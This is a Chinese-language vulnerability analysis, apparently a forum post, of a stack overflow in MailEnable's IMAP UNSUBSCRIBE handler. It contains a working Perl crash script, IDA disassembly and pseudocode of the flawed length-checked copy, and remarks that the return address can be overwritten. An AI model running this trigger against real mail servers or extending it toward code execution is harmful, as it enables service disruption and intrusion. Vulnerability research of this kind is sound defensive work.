看了下MailEnable的IMAP服务UNSUBSCRIBE命令超长参数溢出问题。有点麻烦,看了快两天才弄清楚,希望没看错。主要是用IDA反汇编,然后结合OD一起看的。先用perl写了个脚本测试,代码很简单: 代码:
#!/use/bin/perl
use strict; use warnings; use IO::Socket;
if( @ARGV != 3 ) { print "imail_subscribe.pl <host> <username> <password>/n"; exit( -1 ); }
my $host = $ARGV[0]; my $user = $ARGV[1]; my $pass = $ARGV[2];
my $sock = IO::Socket::INET->new( PeerHost=>$host, PeerPort=>"143", proto=>"tcp" ) || die "Connect error./n";
my $res = <$sock>; print $res; if( $res !~ /OK/ ) { exit( -1 ); }
# login print $sock "0 LOGIN $user $pass/r/n"; $res = <$sock>; if( ! defined($res) ) { exit(-1); }
print $res; if( $res !~ /OK/ ) { exit(-1); }
# select print $sock "2 SELECT INBOX/r/n"; while( <$sock> ) { print $_; if( $_ =~ /2 OK/ || $_ =~ /2 BAD/ ) { last; } }
my $test_code = "AB" x 800; print $sock "3 UNSUBSCRIBE $test_code/r/n";
$res = <$sock>; if( ! defined($res) ) { exit(-1); } print $res;
#exit print $sock "4 LOGOUT/r/n"; print <$sock>;
$sock->close();
|
第一个断点下在0x00424631这里。至于为什么,理由很简单,这里是在判断命令,而且恰好是开始判断UNSUBSCRIBE命令,我们从头开始走下去,看看到底出了什么问题。开始是一个字符串比较,随后一个拷贝,走到下面出现异常。 代码:
.text:00424662 add esp, 8 .text:00424665 mov eax, [ebp+arg_0] .text:00424668 push eax .text:00424669 call sub_419E90
|
第二次跟进sub_419E90,一开始,就分配了栈内存, 代码:
.text:00419E93 sub esp, 588h
|
随后调用sub_412430是判断状态,当前是否可以执行UNSUBSCRIBE命令。判断完成后我们会跳到下面这里,查找空格解析命令和参数。 代码:
.text:00419F00 push offset asc_488DF8 ; " " .text:00419F05 mov edx, [ebp+arg_0] .text:00419F08 add edx, 1BACh .text:00419F0E push edx ; char * .text:00419F0F call _strstr ; 查找空格
|
参数解析完成后,再次转跳到下面的位置,注意这里会进行拷贝,将传入的参数拷贝到栈内存中。 代码:
.text:00419F7C push 800h ; int .text:00419F81 mov eax, [ebp+var_584] .text:00419F87 add eax, 1 .text:00419F8A push eax ; char * .text:00419F8B lea ecx, [ebp+var_480] .text:00419F91 push ecx ; char * .text:00419F92 call sub_43B100 ; 安全拷贝
|
跟进sub_43B100子函数,代码如下: 代码:
.text:0043B100 push ebp .text:0043B101 mov ebp, esp .text:0043B103 push ecx .text:0043B104 mov eax, [ebp+arg_4] .text:0043B107 push eax ; char * .text:0043B108 call _strlen .text:0043B108 .text:0043B10D add esp, 4 .text:0043B110 mov [ebp+var_4], eax .text:0043B113 mov ecx, [ebp+var_4] .text:0043B116 cmp ecx, [ebp+arg_8] .text:0043B119 jge short loc_43B12D .text:0043B119 .text:0043B11B mov edx, [ebp+arg_4] .text:0043B11E push edx ; char * .text:0043B11F mov eax, [ebp+arg_0] .text:0043B122 push eax ; char * .text:0043B123 call _strcpy .text:0043B123 .text:0043B128 add esp, 8 .text:0043B12B jmp short loc_43B150 .text:0043B12B .text:0043B12D --------------------------------------------------------------------------- .text:0043B12D .text:0043B12D loc_43B12D: ; CODE XREF: sub_43B100+19 .text:0043B12D mov ecx, [ebp+arg_8] .text:0043B130 sub ecx, 1 .text:0043B133 push ecx ; size_t .text:0043B134 mov edx, [ebp+arg_4] .text:0043B137 push edx ; char * .text:0043B138 mov eax, [ebp+arg_0] .text:0043B13B push eax ; char * .text:0043B13C call _strncpy .text:0043B13C .text:0043B141 add esp, 0Ch .text:0043B144 mov ecx, [ebp+arg_0] .text:0043B147 add ecx, [ebp+arg_8] .text:0043B14A mov byte ptr [ecx-1], 0 .text:0043B14E xor eax, eax .text:0043B14E .text:0043B150 .text:0043B150 loc_43B150: ; CODE XREF: sub_43B100+2B .text:0043B150 mov esp, ebp .text:0043B152 pop ebp .text:0043B153 retn 0Ch
|
可以看到,这里先判断源字符串的长度是否大于0x800,如果大于就调用strncpy拷贝0x800-1个字节。如果小于,就调用strcpy拷贝所有的字符串。但是搞笑的是,在sub_43B100的父函数中分配的内存是0x588,而调用sub_43B100的时候,传递的最大长度是0x800。伪代码如下: 代码:
void my_strcpy( char *dst, char *src, int len ) { if( strlen( src ) >= len ) { strncpy( dst, src, len - 1 ); } else { strcpy( dst, src ); } }
void vuln( char *src, ..... ) { char dst[0x480] = { 0 }; my_strcpy( dst, src, 0x800 ); ..... }
| 这里的长度有限制,覆盖不到SEH。虽然可以覆盖到vuln的返回地址,但是在vuln返回之前就异常了,在一次strlen调用中,eax被字符串覆盖改写导致读取异常。小心的调整字符串,应该是可以顺利执行下去最后执行shellcode的,不过我没那耐心,也没那时间。 |